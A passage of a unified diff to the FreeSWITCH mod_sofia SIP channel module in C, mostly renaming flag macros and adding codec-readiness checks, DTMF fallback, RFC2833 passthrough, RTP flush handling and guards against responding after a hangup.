-				SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
-				SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
-				SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1), TAG_END());
-	switch_set_flag_locked(tech_pvt, TFLAG_ANS);
-
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -541,7 +593,7 @@
 
 	switch_assert(tech_pvt != NULL);
 
-	if (switch_test_flag(tech_pvt, TFLAG_HUP)) {
+	if (sofia_test_flag(tech_pvt, TFLAG_HUP)) {
 		return SWITCH_STATUS_FALSE;
 	}
 
@@ -555,22 +607,26 @@
 
 	tech_pvt->video_read_frame.datalen = 0;
 
-	if (switch_test_flag(tech_pvt, TFLAG_IO)) {
+	if (sofia_test_flag(tech_pvt, TFLAG_IO)) {
 		switch_status_t status;
 
-		if (!switch_test_flag(tech_pvt, TFLAG_RTP)) {
+		if (!sofia_test_flag(tech_pvt, TFLAG_RTP)) {
 			return SWITCH_STATUS_GENERR;
 		}
 
 		switch_assert(tech_pvt->rtp_session != NULL);
 		tech_pvt->video_read_frame.datalen = 0;
 
-		while (switch_test_flag(tech_pvt, TFLAG_IO) && tech_pvt->video_read_frame.datalen == 0) {
+		while (sofia_test_flag(tech_pvt, TFLAG_IO) && tech_pvt->video_read_frame.datalen == 0) {
 			tech_pvt->video_read_frame.flags = SFF_NONE;
 
 			status = switch_rtp_zerocopy_read_frame(tech_pvt->video_rtp_session, &tech_pvt->video_read_frame, flags);
 			if (status != SWITCH_STATUS_SUCCESS && status != SWITCH_STATUS_BREAK) {
 				if (status == SWITCH_STATUS_TIMEOUT) {
+					if (sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
+						sofia_glue_toggle_hold(tech_pvt, 0);
+						sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+					}
 					switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_MEDIA_TIMEOUT);
 				}
 				return status;
@@ -610,15 +666,15 @@
 		}
 	}
 
-	if (switch_test_flag(tech_pvt, TFLAG_HUP)) {
+	if (sofia_test_flag(tech_pvt, TFLAG_HUP)) {
 		return SWITCH_STATUS_FALSE;
 	}
 
-	if (!switch_test_flag(tech_pvt, TFLAG_RTP)) {
+	if (!sofia_test_flag(tech_pvt, TFLAG_RTP)) {
 		return SWITCH_STATUS_GENERR;
 	}
 
-	if (!switch_test_flag(tech_pvt, TFLAG_IO)) {
+	if (!sofia_test_flag(tech_pvt, TFLAG_IO)) {
 		return SWITCH_STATUS_SUCCESS;
 	}
 
@@ -637,12 +693,12 @@
 
 	switch_assert(tech_pvt != NULL);
 
-	if (!(tech_pvt->profile->pflags & PFLAG_RUNNING)) {
+	if (!sofia_test_pflag(tech_pvt->profile, PFLAG_RUNNING)) {
 		switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_NORMAL_CLEARING);
 		return SWITCH_STATUS_FALSE;
 	}
 
-	if (switch_test_flag(tech_pvt, TFLAG_HUP)) {
+	if (sofia_test_flag(tech_pvt, TFLAG_HUP)) {
 		return SWITCH_STATUS_FALSE;
 	}
 
@@ -655,29 +711,36 @@
 	}
 
 	tech_pvt->read_frame.datalen = 0;
-	switch_set_flag_locked(tech_pvt, TFLAG_READING);
+	sofia_set_flag_locked(tech_pvt, TFLAG_READING);
 
-	if (switch_test_flag(tech_pvt, TFLAG_HUP) || switch_test_flag(tech_pvt, TFLAG_BYE) || !tech_pvt->read_codec.implementation) {
+	if (sofia_test_flag(tech_pvt, TFLAG_HUP) || sofia_test_flag(tech_pvt, TFLAG_BYE) || !tech_pvt->read_codec.implementation || 
+		!switch_core_codec_ready(&tech_pvt->read_codec)) {
 		return SWITCH_STATUS_FALSE;
 	}
 
-	if (switch_test_flag(tech_pvt, TFLAG_IO)) {
+	if (sofia_test_flag(tech_pvt, TFLAG_IO)) {
 		switch_status_t status;
 
-		if (!switch_test_flag(tech_pvt, TFLAG_RTP)) {
+		if (!sofia_test_flag(tech_pvt, TFLAG_RTP)) {
 			return SWITCH_STATUS_GENERR;
 		}
 
 		switch_assert(tech_pvt->rtp_session != NULL);
 		tech_pvt->read_frame.datalen = 0;
 		
-		while (switch_test_flag(tech_pvt, TFLAG_IO) && tech_pvt->read_frame.datalen == 0) {
+		while (sofia_test_flag(tech_pvt, TFLAG_IO) && tech_pvt->read_frame.datalen == 0) {
 			tech_pvt->read_frame.flags = SFF_NONE;
 
 			status = switch_rtp_zerocopy_read_frame(tech_pvt->rtp_session, &tech_pvt->read_frame, flags);
 
 			if (status != SWITCH_STATUS_SUCCESS && status != SWITCH_STATUS_BREAK) {
 				if (status == SWITCH_STATUS_TIMEOUT) {
+					
+					if (sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
+						sofia_glue_toggle_hold(tech_pvt, 0);
+						sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+					}
+					
 					switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_MEDIA_TIMEOUT);
 				}
 				return status;
@@ -685,7 +748,7 @@
 
 			/* Fast PASS! */
 			if (switch_test_flag((&tech_pvt->read_frame), SFF_PROXY_PACKET)) {
-				switch_clear_flag_locked(tech_pvt, TFLAG_READING);
+				sofia_clear_flag_locked(tech_pvt, TFLAG_READING);
 				*frame = &tech_pvt->read_frame;
 				return SWITCH_STATUS_SUCCESS;
 			}
@@ -703,12 +766,12 @@
 				int frames = 1;
 				
 				if (!switch_test_flag((&tech_pvt->read_frame), SFF_CNG)) {
-					if (!tech_pvt->read_codec.implementation) {
+					if (!tech_pvt->read_codec.implementation || !switch_core_codec_ready(&tech_pvt->read_codec)) {
 						*frame = NULL;
 						return SWITCH_STATUS_GENERR;
 					}
 					
-					if (tech_pvt->check_frames++ < MAX_CODEC_CHECK_FRAMES) {
+					if (sofia_test_pflag(tech_pvt->profile, PFLAG_AUTOFIX_TIMING) && tech_pvt->check_frames++ < MAX_CODEC_CHECK_FRAMES) {
 						if (!tech_pvt->read_impl.encoded_bytes_per_packet) {
 							tech_pvt->check_frames = MAX_CODEC_CHECK_FRAMES;
 							goto skip;
@@ -735,11 +798,25 @@
 									int rtp_timeout_sec = 0;
 									int rtp_hold_timeout_sec = 0;
 								
+									if (codec_ms > 120) { /* yeah right */
+										switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
+														  "Your phone is trying to send timestamps that suggest an increment of %dms per packet\n"
+														  "That seems hard to believe so I am going to go on ahead and um ignore that, mmkay?", (int)codec_ms);
+										tech_pvt->check_frames = MAX_CODEC_CHECK_FRAMES;
+										goto skip;
+									}
+
 									tech_pvt->read_frame.datalen = 0;
+									switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
+													  "We were told to use ptime %d but what they meant to say was %d\n"
+													  "This issue has so far been identified to happen on the following broken platforms/devices:\n" 
+													  "Linksys/Sipura aka Cisco\n"
+													  "ShoreTel\n"
+													  "Sonus/L3\n"
+													  "We will try to fix it but some of the devices on this list are so broken who knows what will happen..\n"
+													  , 
+													  (int)tech_pvt->codec_ms, (int)codec_ms);
 									tech_pvt->codec_ms = codec_ms;
-									switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
-													  "Changing codec ptime to %d. I bet you have a linksys/sipura =D\n", tech_pvt->codec_ms);
-
 									switch_core_session_lock_codec_write(session);
 									switch_core_session_lock_codec_read(session);
 
@@ -791,7 +868,8 @@
 									}
 
 									tech_pvt->check_frames = MAX_CODEC_CHECK_FRAMES;
-
+									/* inform them of the codec they are actually sending */
+									sofia_glue_do_invite(session);
 									switch_core_session_unlock_codec_write(session);
 									switch_core_session_unlock_codec_read(session);
 
@@ -820,7 +898,7 @@
 		}
 	}
 
-	switch_clear_flag_locked(tech_pvt, TFLAG_READING);
+	sofia_clear_flag_locked(tech_pvt, TFLAG_READING);
 
 	if (tech_pvt->read_frame.datalen == 0) {
 		*frame = NULL;
@@ -849,27 +927,27 @@
 		}
 	}
 
-	if (!tech_pvt->read_codec.implementation) {
+	if (!tech_pvt->read_codec.implementation || !switch_core_codec_ready(&tech_pvt->read_codec)) {
 		return SWITCH_STATUS_GENERR;
 	}
 
-	if (switch_test_flag(tech_pvt, TFLAG_HUP)) {
+	if (sofia_test_flag(tech_pvt, TFLAG_HUP)) {
 		return SWITCH_STATUS_FALSE;
 	}
 
-	if (!switch_test_flag(tech_pvt, TFLAG_RTP)) {
+	if (!sofia_test_flag(tech_pvt, TFLAG_RTP)) {
 		return SWITCH_STATUS_GENERR;
 	}
 
-	if (!switch_test_flag(tech_pvt, TFLAG_IO)) {
+	if (!sofia_test_flag(tech_pvt, TFLAG_IO)) {
 		return SWITCH_STATUS_SUCCESS;
 	}
 
-	if (switch_test_flag(tech_pvt, TFLAG_BYE) || !tech_pvt->read_codec.implementation) {
+	if (sofia_test_flag(tech_pvt, TFLAG_BYE) || !tech_pvt->read_codec.implementation || !switch_core_codec_ready(&tech_pvt->read_codec)) {
 		return SWITCH_STATUS_FALSE;
 	}
 
-	switch_set_flag_locked(tech_pvt, TFLAG_WRITING);
+	sofia_set_flag_locked(tech_pvt, TFLAG_WRITING);
 
 	if (!switch_test_flag(frame, SFF_CNG) && !switch_test_flag(frame, SFF_PROXY_PACKET)) {
 		if (tech_pvt->read_impl.encoded_bytes_per_packet) {
@@ -884,7 +962,7 @@
 	tech_pvt->timestamp_send += samples;
 	switch_rtp_write_frame(tech_pvt->rtp_session, frame);
 
-	switch_clear_flag_locked(tech_pvt, TFLAG_WRITING);
+	sofia_clear_flag_locked(tech_pvt, TFLAG_WRITING);
 	return status;
 }
 
@@ -907,8 +985,8 @@
 		break;
 	case SWITCH_SIG_KILL:
 	default:
-		switch_clear_flag_locked(tech_pvt, TFLAG_IO);
-		switch_set_flag_locked(tech_pvt, TFLAG_HUP);
+		sofia_clear_flag_locked(tech_pvt, TFLAG_IO);
+		sofia_set_flag_locked(tech_pvt, TFLAG_HUP);
 
 		if (switch_rtp_ready(tech_pvt->rtp_session)) {
 			switch_rtp_kill_socket(tech_pvt->rtp_session);
@@ -925,21 +1003,35 @@
 {
 	private_object_t *tech_pvt;
 	char message[128] = "";
+	sofia_dtmf_t dtmf_type;
 
 	tech_pvt = (private_object_t *) switch_core_session_get_private(session);
 	switch_assert(tech_pvt != NULL);
 
-	switch (tech_pvt->dtmf_type) {
+	dtmf_type = tech_pvt->dtmf_type;
+
+	/* We only can send INFO when we have no media */
+	if (!tech_pvt->rtp_session || !switch_channel_media_ready(tech_pvt->channel) || switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MODE)) {
+		dtmf_type = DTMF_INFO;
+	}
+
+	switch (dtmf_type) {
 	case DTMF_2833:
-		return switch_rtp_queue_rfc2833(tech_pvt->rtp_session, dtmf);
-
+		{
+			return switch_rtp_queue_rfc2833(tech_pvt->rtp_session, dtmf);
+		}
 	case DTMF_INFO:
-		snprintf(message, sizeof(message), "Signal=%c\r\nDuration=%d\r\n", dtmf->digit, dtmf->duration / 8);
-		switch_mutex_lock(tech_pvt->sofia_mutex);
-		nua_info(tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("application/dtmf-relay"), SIPTAG_PAYLOAD_STR(message), TAG_END());
-		switch_mutex_unlock(tech_pvt->sofia_mutex);
+		{
+			snprintf(message, sizeof(message), "Signal=%c\r\nDuration=%d\r\n", dtmf->digit, dtmf->duration / 8);
+			switch_mutex_lock(tech_pvt->sofia_mutex);
+			nua_info(tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("application/dtmf-relay"), SIPTAG_PAYLOAD_STR(message), TAG_END());
+			switch_mutex_unlock(tech_pvt->sofia_mutex);
+		}
 		break;
+	case DTMF_NONE:
+		break;
 	default:
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Unhandled DTMF type!\n");
 		break;
 	}
 
@@ -952,7 +1044,7 @@
 	private_object_t *tech_pvt = switch_core_session_get_private(session);
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
 
-	if (switch_channel_get_state(channel) >= CS_HANGUP || !tech_pvt) {
+	if (switch_channel_down(channel) || !tech_pvt || sofia_test_flag(tech_pvt, TFLAG_BYE)) {
 		status = SWITCH_STATUS_FALSE;
 		goto end;
 	}
@@ -961,16 +1053,60 @@
 	switch (msg->message_id) {
 	case SWITCH_MESSAGE_INDICATE_TRANSCODING_NECESSARY:
 		if (tech_pvt->rtp_session && switch_rtp_test_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833)) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot pass 2833 on a transcoded call.\n");
-			switch_rtp_clear_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833);
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Pass 2833 mode may not work on a transcoded call.\n");
 		}
 		goto end;
 
 	case SWITCH_MESSAGE_INDICATE_BRIDGE:
+		if (switch_rtp_ready(tech_pvt->rtp_session)) {
+			const char *val;
+			int ok = 0;
+
+			if (sofia_test_flag(tech_pvt, TFLAG_PASS_RFC2833) && switch_channel_test_flag_partner(channel, CF_FS_RTP)) {
+				switch_rtp_set_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833);
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s activate passthru 2833 mode.\n", switch_channel_get_name(channel));
+			}
+
+			if ((val = switch_channel_get_variable(channel, "rtp_autoflush_during_bridge"))) {
+				ok = switch_true(val);
+			} else {
+				ok = sofia_test_pflag(tech_pvt->profile, PFLAG_RTP_AUTOFLUSH_DURING_BRIDGE);
+			}
+			
+			if (ok) {
+				rtp_flush_read_buffer(tech_pvt->rtp_session, SWITCH_RTP_FLUSH_STICK);
+			} else {
+				rtp_flush_read_buffer(tech_pvt->rtp_session, SWITCH_RTP_FLUSH_ONCE);
+			}
+		}
+		goto end;
 	case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
+		if (switch_rtp_ready(tech_pvt->rtp_session)) {
+			const char *val;
+			int ok = 0;
+
+			if (switch_rtp_test_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833)) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s deactivate passthru 2833 mode.\n", switch_channel_get_name(channel));
+				switch_rtp_clear_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833);
+			}
+
+			if ((val = switch_channel_get_variable(channel, "rtp_autoflush_during_bridge"))) {
+				ok = switch_true(val);
+			} else {
+				ok = sofia_test_pflag(tech_pvt->profile, PFLAG_RTP_AUTOFLUSH_DURING_BRIDGE);
+			}
+			
+			if (ok) {
+				rtp_flush_read_buffer(tech_pvt->rtp_session, SWITCH_RTP_FLUSH_UNSTICK);
+			} else {
+				rtp_flush_read_buffer(tech_pvt->rtp_session, SWITCH_RTP_FLUSH_ONCE);
+			}
+
+		}
+		goto end;
 	case SWITCH_MESSAGE_INDICATE_AUDIO_SYNC:
 		if (switch_rtp_ready(tech_pvt->rtp_session)) {
-			rtp_flush_read_buffer(tech_pvt->rtp_session);
+			rtp_flush_read_buffer(tech_pvt->rtp_session, SWITCH_RTP_FLUSH_ONCE);
 		}
 		goto end;
 
@@ -979,18 +1115,18 @@
 		{
 			const char *var;
 			if ((var = switch_channel_get_variable(channel, SOFIA_SECURE_MEDIA_VARIABLE)) && switch_true(var)) {
-				switch_set_flag_locked(tech_pvt, TFLAG_SECURE);
+				sofia_set_flag_locked(tech_pvt, TFLAG_SECURE);
 			}
 		}
 		break;
 	default:
 		break;
 	}
-	
+
 	/* ones that do need to lock sofia mutex */
 	switch_mutex_lock(tech_pvt->sofia_mutex);
 
-	if (switch_channel_get_state(channel) >= CS_HANGUP || !tech_pvt) {
+	if (switch_channel_down(channel) || !tech_pvt || sofia_test_flag(tech_pvt, TFLAG_BYE)) {
 		status = SWITCH_STATUS_FALSE;
 		goto end_lock;
 	}
@@ -1022,11 +1158,13 @@
 				sofia_glue_set_local_sdp(tech_pvt, ip, atoi(port), msg->string_arg, 1);
 			}
 
-			nua_respond(tech_pvt->nh, SIP_200_OK,
-						SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
-						SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
-						SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1), TAG_END());
-			switch_channel_mark_answered(channel);
+			if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
+				nua_respond(tech_pvt->nh, SIP_200_OK,
+							SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
+							SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
+							SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1), TAG_END());
+				switch_channel_mark_answered(channel);
+			}
 		}
 		break;
 	case SWITCH_MESSAGE_INDICATE_NOMEDIA:
@@ -1037,7 +1175,8 @@
 			const char *ip = NULL, *port = NULL;
 
 			switch_channel_set_flag(channel, CF_PROXY_MODE);
-			tech_pvt->local_sdp_str = NULL;
+			sofia_glue_tech_set_local_sdp(tech_pvt, NULL, SWITCH_FALSE);
+
 			if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))
 				&& (other_session = switch_core_session_locate(uuid))) {
 				other_channel = switch_core_session_get_channel(other_session);
@@ -1061,8 +1200,9 @@
 		{
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s Sending media re-direct:\n%s\n", 
 							  switch_channel_get_name(channel), msg->string_arg);
-			tech_pvt->local_sdp_str = switch_core_session_strdup(session, msg->string_arg);
-			switch_set_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
+			sofia_glue_tech_set_local_sdp(tech_pvt, msg->string_arg, SWITCH_TRUE);
+
+			sofia_set_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
 			sofia_glue_do_invite(session);
 		}
 		break;
@@ -1078,7 +1218,7 @@
 							  switch_channel_get_name(channel), tech_pvt->local_sdp_str);
 							  
 			
-			switch_set_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
+			sofia_set_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
 			sofia_glue_do_invite(session);
 		}
 		break;
@@ -1088,7 +1228,7 @@
 			uint32_t send_invite = 1;
 
 			switch_channel_clear_flag(channel, CF_PROXY_MODE);
-			tech_pvt->local_sdp_str = NULL;
+			sofia_glue_tech_set_local_sdp(tech_pvt, NULL, SWITCH_FALSE);
 
 			if (!switch_channel_media_ready(channel)) {
 				if (!switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
@@ -1125,36 +1265,54 @@
 		{
 			if (!switch_strlen_zero(msg->string_arg)) {
 				char message[256] = "";
-				snprintf(message, sizeof(message), "From:\r\nTo: \"%s\"\r\n", msg->string_arg);
-				nua_info(tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("message/sipfrag"), SIPTAG_PAYLOAD_STR(message), TAG_END());
+				const char *ua = switch_channel_get_variable(tech_pvt->channel, "sip_user_agent");
+
+				if (ua && switch_stristr("snom", ua)) {
+					snprintf(message, sizeof(message), "From:\r\nTo: \"%s\" %s\r\n", msg->string_arg, tech_pvt->caller_profile->destination_number);
+					nua_info(tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("message/sipfrag"), SIPTAG_PAYLOAD_STR(message), TAG_END());
+				} else if (ua && switch_stristr("polycom", ua)) {
+					snprintf(message, sizeof(message), "P-Asserted-Identity: \"%s\" <%s>", msg->string_arg, tech_pvt->caller_profile->destination_number);
+					nua_update(tech_pvt->nh,
+							   TAG_IF(!switch_strlen_zero_buf(message), SIPTAG_HEADER_STR(message)),
+							   TAG_END());
+				}
 			}
 		}
 		break;
 
 	case SWITCH_MESSAGE_INDICATE_HOLD:
 		{
-			switch_set_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+			sofia_set_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
 			sofia_glue_do_invite(session);
 			if (!switch_strlen_zero(msg->string_arg)) {
 				char message[256] = "";
-				snprintf(message, sizeof(message), "From:\r\nTo: \"%s\"\r\n", msg->string_arg);
-				nua_info(tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("message/sipfrag"), SIPTAG_PAYLOAD_STR(message), TAG_END());
+				const char *ua = switch_channel_get_variable(tech_pvt->channel, "sip_user_agent");
+
+				if (ua && switch_stristr("snom", ua)) {
+					snprintf(message, sizeof(message), "From:\r\nTo: \"%s\" %s\r\n", msg->string_arg, tech_pvt->caller_profile->destination_number);
+					nua_info(tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("message/sipfrag"), SIPTAG_PAYLOAD_STR(message), TAG_END());
+				} else if (ua && switch_stristr("polycom", ua)) {
+					snprintf(message, sizeof(message), "P-Asserted-Identity: \"%s\" <%s>", msg->string_arg, tech_pvt->caller_profile->destination_number);
+					nua_update(tech_pvt->nh,
+							   TAG_IF(!switch_strlen_zero_buf(message), SIPTAG_HEADER_STR(message)),
+							   TAG_END());
+				}
 			}
 		}
 		break;
 
 	case SWITCH_MESSAGE_INDICATE_UNHOLD:
 		{
-			switch_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+			sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
 			sofia_glue_do_invite(session);
 		}
 		break;
 	case SWITCH_MESSAGE_INDICATE_REDIRECT:
 		if (!switch_strlen_zero(msg->string_arg)) {
-			if (!switch_channel_test_flag(channel, CF_ANSWERED)) {
+			if (!switch_channel_test_flag(channel, CF_ANSWERED) && !sofia_test_flag(tech_pvt, TFLAG_BYE)) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Redirecting to %s\n", msg->string_arg);
 				nua_respond(tech_pvt->nh, SIP_302_MOVED_TEMPORARILY, SIPTAG_CONTACT_STR(msg->string_arg), TAG_END());
-				switch_set_flag_locked(tech_pvt, TFLAG_BYE);
+				sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
 			} else {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Too late for redirecting to %s, already answered\n", msg->string_arg);
 			}
@@ -1175,7 +1333,6 @@
 			switch_mutex_unlock(tech_pvt->sofia_mutex);
 			sofia_wait_for_reply(tech_pvt, 9999, 300);
 			switch_mutex_lock(tech_pvt->sofia_mutex);
-			
 			if ((var = switch_channel_get_variable(tech_pvt->channel, "sip_refer_reply"))) {
 				msg->string_reply = switch_core_session_strdup(session, var); 
 			} else {
@@ -1188,7 +1345,7 @@
 		if (msg->numeric_arg || msg->string_arg) {
 			int code = msg->numeric_arg;
 			const char *reason = NULL;
-
+			
 			if (code) {
 				reason = msg->string_arg;
 			} else {
@@ -1205,6 +1362,12 @@
 				code = 488;
 			}
 
+			if (!switch_channel_test_flag(channel, CF_ANSWERED) && code >= 300) {
+				if (sofia_test_flag(tech_pvt, TFLAG_BYE)) {
+					goto end_lock;
+				}
+			}
+			
 			if (switch_strlen_zero(reason) && code != 407 && code != 302) {
 				reason = sip_status_phrase(code);
 				if (switch_strlen_zero(reason)) {
@@ -1236,47 +1399,53 @@
 					}
 				}
 
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Overlap Dial with %d %s\n", code, reason);
-				nua_respond(tech_pvt->nh, code, su_strdup(tech_pvt->nh->nh_home, reason), TAG_IF(to_uri, SIPTAG_CONTACT_STR(to_uri)),
-							SIPTAG_SUPPORTED_STR(NULL), SIPTAG_ACCEPT_STR(NULL),
-							TAG_IF(!switch_strlen_zero(max_forwards), SIPTAG_MAX_FORWARDS_STR(max_forwards)), TAG_END());
-				if (!switch_channel_test_flag(channel, CF_ANSWERED)) {
-					switch_set_flag_locked(tech_pvt, TFLAG_BYE);
+				if (!switch_channel_test_flag(channel, CF_ANSWERED) && !sofia_test_flag(tech_pvt, TFLAG_BYE)) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Overlap Dial with %d %s\n", code, reason);
+					nua_respond(tech_pvt->nh, code, su_strdup(nua_handle_home(tech_pvt->nh), reason), TAG_IF(to_uri, SIPTAG_CONTACT_STR(to_uri)),
+								SIPTAG_SUPPORTED_STR(NULL), SIPTAG_ACCEPT_STR(NULL),
+								TAG_IF(!switch_strlen_zero(max_forwards), SIPTAG_MAX_FORWARDS_STR(max_forwards)), TAG_END());
+					
+					sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
 				}
 			} else if (code == 302 && !switch_strlen_zero(msg->string_arg)) {
-				char * p = strchr(msg->string_arg, ' ');
-				*p++ = '\0';
+				char *p;
+
+				if ((p = strchr(msg->string_arg, ' '))) {
+					*p = '\0';
+					msg->string_arg = p;
+				}
+				
 				msg->message_id = SWITCH_MESSAGE_INDICATE_REDIRECT;
-				msg->string_arg = p;
 				switch_core_session_receive_message(session, msg);
 				goto end_lock;
 			} else {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Responding with %d [%s]\n", code, reason);
-
-				if (!switch_strlen_zero(((char *) msg->pointer_arg))) {
-					tech_pvt->local_sdp_str = switch_core_session_strdup(tech_pvt->session, (char *) msg->pointer_arg);
-					if (switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
-						sofia_glue_tech_patch_sdp(tech_pvt);
-						sofia_glue_tech_proxy_remote_addr(tech_pvt);
+				if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Responding with %d [%s]\n", code, reason);
+					if (!switch_strlen_zero(((char *) msg->pointer_arg))) {
+						sofia_glue_tech_set_local_sdp(tech_pvt, (char *) msg->pointer_arg, SWITCH_TRUE);
+						
+						if (switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
+							sofia_glue_tech_patch_sdp(tech_pvt);
+							sofia_glue_tech_proxy_remote_addr(tech_pvt);
+						}
+						nua_respond(tech_pvt->nh, code, su_strdup(nua_handle_home(tech_pvt->nh), reason), SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
+									SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
+									SOATAG_REUSE_REJECTED(1),
+									SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1), TAG_END());
+					} else {
+						nua_respond(tech_pvt->nh, code, su_strdup(nua_handle_home(tech_pvt->nh), reason), SIPTAG_CONTACT_STR(tech_pvt->reply_contact), TAG_END());
 					}
-					nua_respond(tech_pvt->nh, code, su_strdup(tech_pvt->nh->nh_home, reason), SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
-								SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
-								SOATAG_REUSE_REJECTED(1),
-								SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1), TAG_END());
-				} else {
-					nua_respond(tech_pvt->nh, code, su_strdup(tech_pvt->nh->nh_home, reason), SIPTAG_CONTACT_STR(tech_pvt->reply_contact), TAG_END());
 				}
-				if (!switch_channel_test_flag(channel, CF_ANSWERED) && code >= 300) {
-					switch_set_flag_locked(tech_pvt, TFLAG_BYE);
-				}
 			}
 
 		}
 		break;
 	case SWITCH_MESSAGE_INDICATE_RINGING:
-		if (!switch_channel_test_flag(channel, CF_RING_READY) &&
+		if (!switch_channel_test_flag(channel, CF_RING_READY) && !sofia_test_flag(tech_pvt, TFLAG_BYE) &&
 			!switch_channel_test_flag(channel, CF_EARLY_MEDIA) && !switch_channel_test_flag(channel, CF_ANSWERED)) {
-			nua_respond(tech_pvt->nh, SIP_180_RINGING, SIPTAG_CONTACT_STR(tech_pvt->reply_contact), TAG_END());
+			nua_respond(tech_pvt->nh, SIP_180_RINGING,
+						SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
+						SIPTAG_HEADER_STR(generate_pai_str(session)), TAG_END());
 			switch_channel_mark_ring_ready(channel);
 		}
 		break;
@@ -1288,27 +1457,29 @@
 			char *sticky = NULL;
 			const char *val = NULL;
 
-			if (!switch_test_flag(tech_pvt, TFLAG_ANS) && !switch_test_flag(tech_pvt, TFLAG_EARLY_MEDIA)) {
+			if (!sofia_test_flag(tech_pvt, TFLAG_ANS) && !sofia_test_flag(tech_pvt, TFLAG_EARLY_MEDIA)) {
 
-				switch_set_flag_locked(tech_pvt, TFLAG_EARLY_MEDIA);
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Asked to send early media by %s\n", msg->from);
+				sofia_set_flag_locked(tech_pvt, TFLAG_EARLY_MEDIA);
+				switch_log_printf(SWITCH_CHANNEL_ID_LOG, msg->_file, msg->_func, msg->_line, NULL, SWITCH_LOG_INFO, "Sending early media\n");
 
 				/* Transmit 183 Progress with SDP */
 				if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
 					const char *sdp = NULL;
 					if ((sdp = switch_channel_get_variable(channel, SWITCH_B_SDP_VARIABLE))) {
-						tech_pvt->local_sdp_str = switch_core_session_strdup(session, sdp);
